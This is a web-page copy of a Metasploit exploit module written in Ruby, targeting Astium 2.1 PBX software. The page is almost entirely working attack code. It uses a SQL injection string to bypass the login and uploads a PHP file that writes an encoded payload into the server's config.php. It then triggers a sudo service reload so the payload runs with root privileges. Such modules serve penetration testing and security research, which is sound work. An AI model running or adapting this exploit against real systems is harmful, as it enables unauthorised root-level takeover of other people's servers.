Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
rapid7
GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/exploits/linux/http/astium_sqli_upload.rb
19566 views
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Exploit::Remote
7
Rank = ManualRanking # Configuration is overwritten and service reloaded
8
9
include Msf::Exploit::Remote::HttpClient
10
include Msf::Exploit::FileDropper
11
12
def initialize(info = {})
13
super(
14
update_info(
15
info,
16
'Name' => "Astium Remote Code Execution",
17
'Description' => %q{
18
This module exploits vulnerabilities found in Astium astium-confweb-2.1-25399 RPM and
19
lower. A SQL Injection vulnerability is used to achieve authentication bypass and gain
20
admin access. From an admin session arbitrary PHP code upload is possible. It is used
21
to add the final PHP payload to "/usr/local/astium/web/php/config.php" and execute the
22
"sudo /sbin/service astcfgd reload" command to reload the configuration and achieve
23
remote root code execution.
24
},
25
'License' => MSF_LICENSE,
26
'Author' => [
27
'xistence <xistence[at]0x90.nl>' # Discovery, Metasploit module
28
],
29
'References' => [
30
[ 'OSVDB', '88860' ],
31
[ 'EDB', '23831' ]
32
],
33
'Platform' => ['php'],
34
'Arch' => ARCH_PHP,
35
'Targets' => [
36
['Astium 2.1', {}]
37
],
38
'Privileged' => true,
39
'DisclosureDate' => '2013-09-17',
40
'DefaultTarget' => 0,
41
'Notes' => {
42
'Reliability' => UNKNOWN_RELIABILITY,
43
'Stability' => UNKNOWN_STABILITY,
44
'SideEffects' => UNKNOWN_SIDE_EFFECTS
45
}
46
)
47
)
48
49
register_options(
50
[
51
OptString.new('TARGETURI', [true, 'The base path to the Astium installation', '/']),
52
]
53
)
54
end
55
56
def uri
57
return target_uri.path
58
end
59
60
def check
61
# Check version
62
vprint_status("Trying to detect Astium")
63
64
res = send_request_cgi({
65
'method' => 'GET',
66
'uri' => normalize_uri(uri, "en", "content", "index.php")
67
})
68
69
if res and res.code == 302 and res.body =~ /direct entry from outside/
70
return Exploit::CheckCode::Detected
71
else
72
return Exploit::CheckCode::Unknown
73
end
74
end
75
76
def exploit
77
print_status("Access login page")
78
res = send_request_cgi({
79
'method' => 'GET',
80
'uri' => normalize_uri(uri),
81
'vars_get' => {
82
'js' => '0',
83
'ctest' => '1',
84
'origlink' => '/en/content/index.php'
85
}
86
})
87
88
if res and res.code == 302 and res.get_cookies =~ /astiumnls=([a-zA-Z0-9]+)/
89
session = $1
90
print_good("Session cookie is [ #{session} ]")
91
redirect = URI(res.headers['Location'])
92
print_status("Location is [ #{redirect} ]")
93
else
94
fail_with(Failure::Unknown, "#{peer} - Access to login page failed!")
95
end
96
97
# Follow redirection process
98
print_status("Following redirection")
99
res = send_request_cgi({
100
'uri' => "#{redirect}",
101
'method' => 'GET',
102
'cookie' => "astiumnls=#{session}"
103
})
104
105
if not res or res.code != 200
106
fail_with(Failure::Unknown, "#{peer} - Redirect failed!")
107
end
108
109
sqlirandom = rand_text_numeric(8)
110
111
# SQLi to bypass authentication
112
sqli = "system' OR '#{sqlirandom}'='#{sqlirandom}"
113
114
# Random password
115
pass = rand_text_alphanumeric(10)
116
117
post_data = "__act=submit&user_name=#{sqli}&pass_word=#{pass}&submit=Login"
118
print_status("Using SQLi to bypass authentication")
119
res = send_request_cgi({
120
'method' => 'POST',
121
'uri' => normalize_uri(uri, "/en", "logon.php"),
122
'cookie' => "astiumnls=#{session}",
123
'data' => post_data
124
})
125
126
if not res or res.code != 302
127
fail_with(Failure::Unknown, "#{peer} - Login bypass was not succesful!")
128
end
129
130
# Random filename
131
payload_name = rand_text_alpha(rand(10) + 5) + '.php'
132
133
phppayload = "<?php "
134
# Make backup of the "/usr/local/astium/web/php/config.php" file
135
phppayload << "$orig = file_get_contents('/usr/local/astium/web/php/config.php');"
136
# Add the payload to the end of "/usr/local/astium/web/php/config.php". Also do a check if we are root,
137
# else during the config reload it might happen that an extra shell is spawned as the apache user.
138
phppayload << "$replacement = base64_decode(\"#{Rex::Text.encode_base64(payload.encoded)}\");"
139
phppayload << "$f = fopen('/usr/local/astium/web/php/config.php', 'w');"
140
phppayload << "fwrite($f, $orig . \"<?php if (posix_getuid() == 0) {\" . $replacement . \"} ?>\");"
141
phppayload << "fclose($f);"
142
# Reload astcfgd using sudo (so it will read our payload with root privileges).
143
phppayload << "system('sudo /sbin/service astcfgd reload');"
144
# Sleep 1 minute, so that we have enough time for the reload to trigger our payload
145
phppayload << "sleep(60);"
146
# Restore our original config.php, else the Astium web interface won't work anymore.
147
phppayload << "$f = fopen('/usr/local/astium/web/php/config.php', 'w');"
148
phppayload << "fwrite($f, $orig);"
149
phppayload << "fclose($f);"
150
phppayload << "?>"
151
152
post_data = Rex::MIME::Message.new
153
post_data.add_part("submit", nil, nil, "form-data; name=\"__act\"")
154
post_data.add_part(phppayload, "application/octet-stream", nil, "file; name=\"importcompany\"; filename=\"#{payload_name}\"")
155
file = post_data.to_s
156
157
print_status("Uploading Payload [ #{payload_name} ]")
158
res = send_request_cgi({
159
'method' => 'POST',
160
'uri' => normalize_uri(uri, "en", "database", "import.php"),
161
'ctype' => "multipart/form-data; boundary=#{post_data.bound}",
162
'cookie' => "astiumnls=#{session}",
163
'data' => file
164
})
165
166
# If the server returns 200 and the body contains our payload name,
167
# we assume we uploaded the malicious file successfully
168
if not res or res.code != 200 or res.body !~ /#{payload_name}/
169
fail_with(Failure::Unknown, "#{peer} - File wasn't uploaded, aborting!")
170
end
171
172
register_file_for_cleanup("/usr/local/astium/web/html/upload/#{payload_name}")
173
174
print_status("Requesting Payload [ #{uri}upload/#{payload_name} ]")
175
print_status("Waiting as the reloading process may take some time, this may take a couple of minutes")
176
res = send_request_cgi({
177
'method' => 'GET',
178
'uri' => normalize_uri(uri, "upload", "#{payload_name}")
179
}, 120)
180
181
# If we don't get a 200 when we request our malicious payload, we suspect
182
# we don't have a shell, either.
183
if res and res.code != 200
184
print_error("Unexpected response...")
185
end
186
end
187
end
188
189